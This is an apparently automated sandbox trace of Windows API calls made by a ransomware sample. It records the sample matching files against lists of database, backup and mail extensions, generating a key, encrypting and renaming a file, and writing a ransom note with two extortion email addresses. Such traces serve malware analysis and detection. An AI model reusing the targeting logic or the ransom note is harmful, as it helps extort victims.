	[0084.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".mdf") returned 0x0
	[0084.429] lstrlenW (lpString=".BAK") returned 4
	[0084.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".BAK") returned 0x0
	[0084.429] lstrlenW (lpString=".BAC") returned 4
	[0084.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".BAC") returned 0x0
	[0084.429] lstrlenW (lpString=".dbs") returned 4
	[0084.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".dbs") returned 0x0
	[0084.429] lstrlenW (lpString=".vhdx") returned 5
	[0084.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".vhdx") returned 0x0
	[0084.429] lstrlenW (lpString=".NDF") returned 4
	[0084.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".NDF") returned 0x0
	[0084.429] lstrlenW (lpString=".dat") returned 4
	[0084.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".dat") returned 0x0
	[0084.429] lstrlenW (lpString=".DBS") returned 4
	[0084.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".DBS") returned 0x0
	[0084.429] lstrlenW (lpString=".CKP") returned 4
	[0084.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".CKP") returned 0x0
	[0084.429] lstrlenW (lpString=".edb") returned 4
	[0084.429] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".edb") returned 0x0
	[0084.430] lstrlenW (lpString=".PST") returned 4
	[0084.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".PST") returned 0x0
	[0084.430] lstrlenW (lpString=".dbf") returned 4
	[0084.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".dbf") returned 0x0
	[0084.430] lstrlenW (lpString=".SQL") returned 4
	[0084.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".SQL") returned 0x0
	[0084.430] lstrlenW (lpString=".pst") returned 4
	[0084.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".pst") returned 0x0
	[0084.430] lstrlenW (lpString=".dbv") returned 4
	[0084.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".dbv") returned 0x0
	[0084.430] lstrlenW (lpString=".SDF") returned 4
	[0084.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".SDF") returned 0x0
	[0084.430] lstrlenW (lpString=".dtxs") returned 5
	[0084.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".dtxs") returned 0x0
	[0084.430] lstrlenW (lpString=".db3") returned 4
	[0084.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".db3") returned 0x0
	[0084.430] lstrlenW (lpString=".OST") returned 4
	[0084.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".OST") returned 0x0
	[0084.430] lstrlenW (lpString=".dbx") returned 4
	[0084.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".dbx") returned 0x0
	[0084.430] lstrlenW (lpString=".DB3") returned 4
	[0084.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".DB3") returned 0x0
	[0084.430] lstrlenW (lpString=".DAT") returned 4
	[0084.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".DAT") returned 0x0
	[0084.430] lstrlenW (lpString=".VHDX") returned 5
	[0084.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".VHDX") returned 0x0
	[0084.430] lstrlenW (lpString=".ndf") returned 4
	[0084.430] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".ndf") returned 0x0
	[0084.430] lstrlenW (lpString=".DB") returned 3
	[0084.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".DB") returned 0x0
	[0084.431] lstrlenW (lpString=".sql") returned 4
	[0084.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".sql") returned 0x0
	[0084.431] lstrlenW (lpString=".MYD") returned 4
	[0084.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".MYD") returned 0x0
	[0084.431] lstrlenW (lpString=".DBT") returned 4
	[0084.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".DBT") returned 0x0
	[0084.431] lstrlenW (lpString=".ACCDB") returned 6
	[0084.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".ACCDB") returned 0x0
	[0084.431] lstrlenW (lpString=".fdb") returned 4
	[0084.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".fdb") returned 0x0
	[0084.431] lstrlenW (lpString=".bak") returned 4
	[0084.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".bak") returned 0x0
	[0084.431] lstrlenW (lpString=".myd") returned 4
	[0084.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".myd") returned 0x0
	[0084.431] lstrlenW (lpString=".DTXS") returned 5
	[0084.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".DTXS") returned 0x0
	[0084.431] lstrlenW (lpString=".ckp") returned 4
	[0084.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".ckp") returned 0x0
	[0084.431] lstrlenW (lpString=".dbt") returned 4
	[0084.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".dbt") returned 0x0
	[0084.431] lstrlenW (lpString=".db") returned 3
	[0084.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".db") returned 0x0
	[0084.431] lstrlenW (lpString=".TXT") returned 4
	[0084.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".TXT") returned 0x0
	[0084.431] lstrlenW (lpString=".MDF") returned 4
	[0084.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".MDF") returned 0x0
	[0084.431] lstrlenW (lpString=".bdb") returned 4
	[0084.431] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".bdb") returned 0x0
	[0084.431] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0084.432] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0084.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0084.432] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0084.432] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0084.433] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0084.433] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0084.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0084.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0084.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2871ff0
	[0084.433] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=20442291626) returned 1
	[0084.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9c27ebb0, dwHighDateTime=0x1d60e1e)) 
	[0084.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362320
	[0084.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0084.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3571b8
	[0084.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dce8
	[0084.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0084.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39dce8 | out: hHeap=0x300000) returned 1
	[0084.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0084.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0084.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2808330
	[0084.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0084.433] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28431c8
	[0084.433] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808330 | out: hHeap=0x300000) returned 1
	[0084.433] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0084.434] GetLastError () returned 0x0
	[0084.434] GetLastError () returned 0x0
	[0084.434] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0084.434] GetLastError () returned 0x0
	[0084.434] GetLastError () returned 0x0
	[0084.512] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffef630, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0084.525] WriteFile (in: hFile=0x118, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x109d0, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x109d0, lpOverlapped=0x0) returned 1
	[0084.526] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0084.526] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0084.526] WriteFile (in: hFile=0x118, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0084.526] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0084.526] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0084.526] CloseHandle (hObject=0x118) returned 1
	[0084.527] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808d08
	[0084.527] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\ICE.ELM.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\ice.elm.~~~~")) returned 1
	[0084.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808d08 | out: hHeap=0x300000) returned 1
	[0084.527] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3571b8 | out: hHeap=0x300000) returned 1
	[0084.527] GetLastError () returned 0x0
	[0084.528] RtlWakeConditionVariable () returned 0x365f70
	[0084.528] GetCurrentThreadId () returned 0x9f4
	[0084.528] GetCurrentThreadId () returned 0x9f4
	[0084.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808d08
	[0084.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808e58 | out: hHeap=0x300000) returned 1
	[0084.528] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a28e0 | out: hHeap=0x300000) returned 1
	[0084.528] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2808e58
	[0084.528] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\INDUST\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\indust\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0084.680] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0084.680] WriteFile (in: hFile=0x128, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x25dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x25dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0084.682] CloseHandle (hObject=0x128) returned 1
	[0084.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808e58 | out: hHeap=0x300000) returned 1
	[0084.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2808d08 | out: hHeap=0x300000) returned 1
	[0084.682] RtlWakeConditionVariable () returned 0x365f70
	[0084.682] GetCurrentThreadId () returned 0x9f4
	[0084.682] GetCurrentThreadId () returned 0x9f4
	[0084.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x38fa20
	[0084.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5a28 | out: hHeap=0x300000) returned 1
	[0084.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9f68 | out: hHeap=0x300000) returned 1
	[0084.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5a28
	[0084.682] lstrlenW (lpString=".scr") returned 4
	[0084.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".scr") returned 0x0
	[0084.682] lstrlenW (lpString=".cmd") returned 4
	[0084.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".cmd") returned 0x0
	[0084.682] lstrlenW (lpString=".dll") returned 4
	[0084.682] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".dll") returned 0x0
	[0084.683] lstrlenW (lpString=".bat") returned 4
	[0084.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".bat") returned 0x0
	[0084.683] lstrlenW (lpString=".cpl") returned 4
	[0084.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".cpl") returned 0x0
	[0084.683] lstrlenW (lpString=".sys") returned 4
	[0084.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".sys") returned 0x0
	[0084.683] lstrlenW (lpString=".msc") returned 4
	[0084.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".msc") returned 0x0
	[0084.683] lstrlenW (lpString=".com") returned 4
	[0084.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".com") returned 0x0
	[0084.683] lstrlenW (lpString=".lnk") returned 4
	[0084.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".lnk") returned 0x0
	[0084.683] lstrlenW (lpString=".msp") returned 4
	[0084.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".msp") returned 0x0
	[0084.683] lstrlenW (lpString=".pif") returned 4
	[0084.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".pif") returned 0x0
	[0084.683] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0084.683] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch="msp\r\n.pif") returned 0x0
	[0084.683] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0084.684] lstrlenW (lpString=".sqb") returned 4
	[0084.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".sqb") returned 0x0
	[0084.684] lstrlenW (lpString=".ost") returned 4
	[0084.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".ost") returned 0x0
	[0084.684] lstrlenW (lpString=".txt") returned 4
	[0084.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".txt") returned 0x0
	[0084.684] lstrlenW (lpString=".mdt") returned 4
	[0084.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".mdt") returned 0x0
	[0084.684] lstrlenW (lpString=".BDB") returned 4
	[0084.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".BDB") returned 0x0
	[0084.684] lstrlenW (lpString=".eql") returned 4
	[0084.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".eql") returned 0x0
	[0084.684] lstrlenW (lpString=".DBF") returned 4
	[0084.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".DBF") returned 0x0
	[0084.684] lstrlenW (lpString=".EQL") returned 4
	[0084.684] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".EQL") returned 0x0
	[0084.685] lstrlenW (lpString=".FDB") returned 4
	[0084.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".FDB") returned 0x0
	[0084.685] lstrlenW (lpString=".EDB") returned 4
	[0084.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".EDB") returned 0x0
	[0084.685] lstrlenW (lpString=".DACPAC") returned 7
	[0084.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".DACPAC") returned 0x0
	[0084.685] lstrlenW (lpString=".VHD") returned 4
	[0084.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".VHD") returned 0x0
	[0084.685] lstrlenW (lpString=".DBV") returned 4
	[0084.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".DBV") returned 0x0
	[0084.685] lstrlenW (lpString=".dacpac") returned 7
	[0084.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".dacpac") returned 0x0
	[0084.685] lstrlenW (lpString=".sdf") returned 4
	[0084.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".sdf") returned 0x0
	[0084.685] lstrlenW (lpString=".accdb") returned 6
	[0084.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".accdb") returned 0x0
	[0084.685] lstrlenW (lpString=".DBX") returned 4
	[0084.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".DBX") returned 0x0
	[0084.685] lstrlenW (lpString=".MDT") returned 4
	[0084.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".MDT") returned 0x0
	[0084.685] lstrlenW (lpString=".SQB") returned 4
	[0084.685] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".SQB") returned 0x0
	[0084.685] lstrlenW (lpString=".vhd") returned 4
	[0084.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".vhd") returned 0x0
	[0084.686] lstrlenW (lpString=".bac") returned 4
	[0084.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".bac") returned 0x0
	[0084.686] lstrlenW (lpString=".mdf") returned 4
	[0084.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".mdf") returned 0x0
	[0084.686] lstrlenW (lpString=".BAK") returned 4
	[0084.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".BAK") returned 0x0
	[0084.686] lstrlenW (lpString=".BAC") returned 4
	[0084.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".BAC") returned 0x0
	[0084.686] lstrlenW (lpString=".dbs") returned 4
	[0084.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".dbs") returned 0x0
	[0084.686] lstrlenW (lpString=".vhdx") returned 5
	[0084.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".vhdx") returned 0x0
	[0084.686] lstrlenW (lpString=".NDF") returned 4
	[0084.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".NDF") returned 0x0
	[0084.686] lstrlenW (lpString=".dat") returned 4
	[0084.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".dat") returned 0x0
	[0084.686] lstrlenW (lpString=".DBS") returned 4
	[0084.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".DBS") returned 0x0
	[0084.686] lstrlenW (lpString=".CKP") returned 4
	[0084.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".CKP") returned 0x0
	[0084.686] lstrlenW (lpString=".edb") returned 4
	[0084.686] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG", lpSrch=".edb") returned 0x0
	[0084.686] lstrlenW (lpString=".PST") returned 4
